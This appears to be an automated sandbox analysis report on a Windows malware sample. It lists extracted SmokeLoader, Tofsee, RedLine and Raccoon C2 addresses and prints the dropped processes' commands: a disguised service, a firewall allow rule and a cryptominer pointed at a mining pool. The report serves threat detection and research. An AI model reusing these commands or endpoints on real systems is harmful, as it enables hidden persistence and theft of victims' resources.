Analysis
- max time kernel
128s - max time network
160s - platform
windows7_x64 - resource
win7-en-20211014 - submitted
01/11/2021, 10:16
General
- Target c463b07c6e61aeb24a8f3a06dae3bd1c.exe
- Size 160KB
- Sample211101-mas4lseddk
- SHA256 acca11a2d0fc746a66b352eec2ebe5f4b48abd4d37f6ff433199f627312c65a0
Malware Config
Extracted
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smokeloader
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2020
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http://honawey70.top/
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http://wijibui00.top/
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http://nusurtal4f.net/
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http://netomishnetojuk.net/
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http://escalivrouter.net/
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http://nick22doom4.net/
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http://wrioshtivsio.su/
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http://nusotiso4.su/
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http://rickkhtovkka.biz/
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http://palisotoliso.net/
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http://193.56.146.214/
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https://193.56.146.214/
Extracted
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tofsee
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quadoil.ru
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lakeflex.ru
Extracted
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redline
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V5
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185.183.32.161:45391
Extracted
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raccoon
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8dec62c1db2959619dca43e02fa46ad7bd606400
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url4cnc
http://telegin.top/capibar
http://ttmirror.top/capibar
http://teletele.top/capibar
http://telegalive.top/capibar
http://toptelete.top/capibar
http://telegraf.top/capibar
https://t.me/capibar
Extracted
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redline
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123123123
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93.115.20.139:28978
Signatures
- Raccoon
Simple but powerful infostealer which was very active in 2019.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 9 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
- Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Executes dropped EXE 6 IoCs
- Modifies Windows Firewall 1 TTPs
- Deletes itself 1 IoCs
- Loads dropped DLL 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 2 IoCs
- Suspicious use of WriteProcessMemory 46 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\c463b07c6e61aeb24a8f3a06dae3bd1c.exe"C:\Users\Admin\AppData\Local\Temp\c463b07c6e61aeb24a8f3a06dae3bd1c.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\c463b07c6e61aeb24a8f3a06dae3bd1c.exe"C:\Users\Admin\AppData\Local\Temp\c463b07c6e61aeb24a8f3a06dae3bd1c.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Users\Admin\AppData\Local\Temp\EC62.exeC:\Users\Admin\AppData\Local\Temp\EC62.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\EC62.exeC:\Users\Admin\AppData\Local\Temp\EC62.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
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C:\Users\Admin\AppData\Local\Temp\F0D5.exeC:\Users\Admin\AppData\Local\Temp\F0D5.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\thjwukyp\2⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mnlvyrwh.exe" C:\Windows\SysWOW64\thjwukyp\2⤵
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C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create thjwukyp binPath= "C:\Windows\SysWOW64\thjwukyp\mnlvyrwh.exe /d\"C:\Users\Admin\AppData\Local\Temp\F0D5.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
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C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description thjwukyp "wifi internet conection"2⤵
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C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start thjwukyp2⤵
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C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
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C:\Users\Admin\AppData\Local\Temp\FC8A.exeC:\Users\Admin\AppData\Local\Temp\FC8A.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\mannishly.bat" "2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\bifurcation.exebifurcation.exe -p"xicyqwllwklawixvurbiyphwsjuxiq"3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\RarSFX1\beadroll.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\beadroll.exe"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"5⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"5⤵
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C:\Users\Admin\AppData\Local\Temp\FF77.exeC:\Users\Admin\AppData\Local\Temp\FF77.exe1⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\449.exeC:\Users\Admin\AppData\Local\Temp\449.exe1⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
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C:\Windows\SysWOW64\thjwukyp\mnlvyrwh.exeC:\Windows\SysWOW64\thjwukyp\mnlvyrwh.exe /d"C:\Users\Admin\AppData\Local\Temp\F0D5.exe"1⤵
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C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
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C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵
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C:\Users\Admin\AppData\Local\Temp\1309.exeC:\Users\Admin\AppData\Local\Temp\1309.exe1⤵
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C:\Users\Admin\AppData\Local\Temp\1F78.exeC:\Users\Admin\AppData\Local\Temp\1F78.exe1⤵
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C:\Users\Admin\AppData\Local\Temp\1F78.exeC:\Users\Admin\AppData\Local\Temp\1F78.exe2⤵
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C:\Users\Admin\AppData\Local\Temp\355A.exeC:\Users\Admin\AppData\Local\Temp\355A.exe1⤵
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/380-83-0x0000000000400000-0x0000000000436000-memory.dmp
memory/380-173-0x0000000000400000-0x0000000000491000-memory.dmp
memory/380-172-0x0000000000360000-0x00000000003EE000-memory.dmp
memory/380-171-0x0000000000220000-0x000000000026E000-memory.dmp
memory/380-81-0x0000000000220000-0x000000000022D000-memory.dmp
memory/380-82-0x0000000000230000-0x0000000000243000-memory.dmp
memory/584-57-0x0000000075901000-0x0000000075903000-memory.dmp
memory/584-55-0x0000000000400000-0x0000000000409000-memory.dmp
memory/892-101-0x00000000000D0000-0x0000000000508000-memory.dmp
memory/892-102-0x00000000000D0000-0x0000000000508000-memory.dmp
memory/892-97-0x00000000000D0000-0x0000000000508000-memory.dmp
memory/892-98-0x00000000000D0000-0x0000000000508000-memory.dmp
memory/892-99-0x00000000000D0000-0x0000000000508000-memory.dmp
memory/932-127-0x00000000000C0000-0x00000000000D5000-memory.dmp
memory/932-126-0x00000000000C0000-0x00000000000D5000-memory.dmp
memory/1196-120-0x0000000000400000-0x0000000000433000-memory.dmp
memory/1196-119-0x0000000000030000-0x0000000000039000-memory.dmp
memory/1196-118-0x0000000000020000-0x0000000000028000-memory.dmp
memory/1320-153-0x0000000000400000-0x0000000000433000-memory.dmp
memory/1320-158-0x0000000000400000-0x0000000000433000-memory.dmp
memory/1412-111-0x0000000003930000-0x0000000003946000-memory.dmp
memory/1412-147-0x0000000003F40000-0x0000000003F56000-memory.dmp
memory/1412-161-0x00000000042C0000-0x00000000042D6000-memory.dmp
memory/1412-60-0x0000000002990000-0x00000000029A6000-memory.dmp
memory/1600-132-0x0000000000230000-0x0000000000239000-memory.dmp
memory/1600-131-0x0000000000220000-0x0000000000228000-memory.dmp
memory/1600-145-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1664-130-0x0000000000400000-0x0000000000436000-memory.dmp
memory/1668-59-0x0000000000230000-0x0000000000239000-memory.dmp
memory/1668-58-0x0000000000220000-0x0000000000228000-memory.dmp
memory/1724-180-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1724-177-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1724-175-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1724-178-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1724-176-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1744-68-0x0000000000220000-0x0000000000228000-memory.dmp
memory/1776-163-0x00000000000D0000-0x00000000001C1000-memory.dmp
memory/1776-164-0x00000000000D0000-0x00000000001C1000-memory.dmp
memory/1924-146-0x0000000004D40000-0x0000000004D41000-memory.dmp
memory/1924-121-0x0000000000D60000-0x0000000000D61000-memory.dmp
memory/1924-162-0x0000000000B20000-0x0000000000B45000-memory.dmp
memory/1948-156-0x0000000000220000-0x0000000000242000-memory.dmp
memory/1948-157-0x0000000000250000-0x0000000000280000-memory.dmp
memory/1996-149-0x0000000000400000-0x0000000000401000-memory.dmp
memory/1996-144-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1996-142-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1996-135-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1996-136-0x0000000000400000-0x0000000000420000-memory.dmp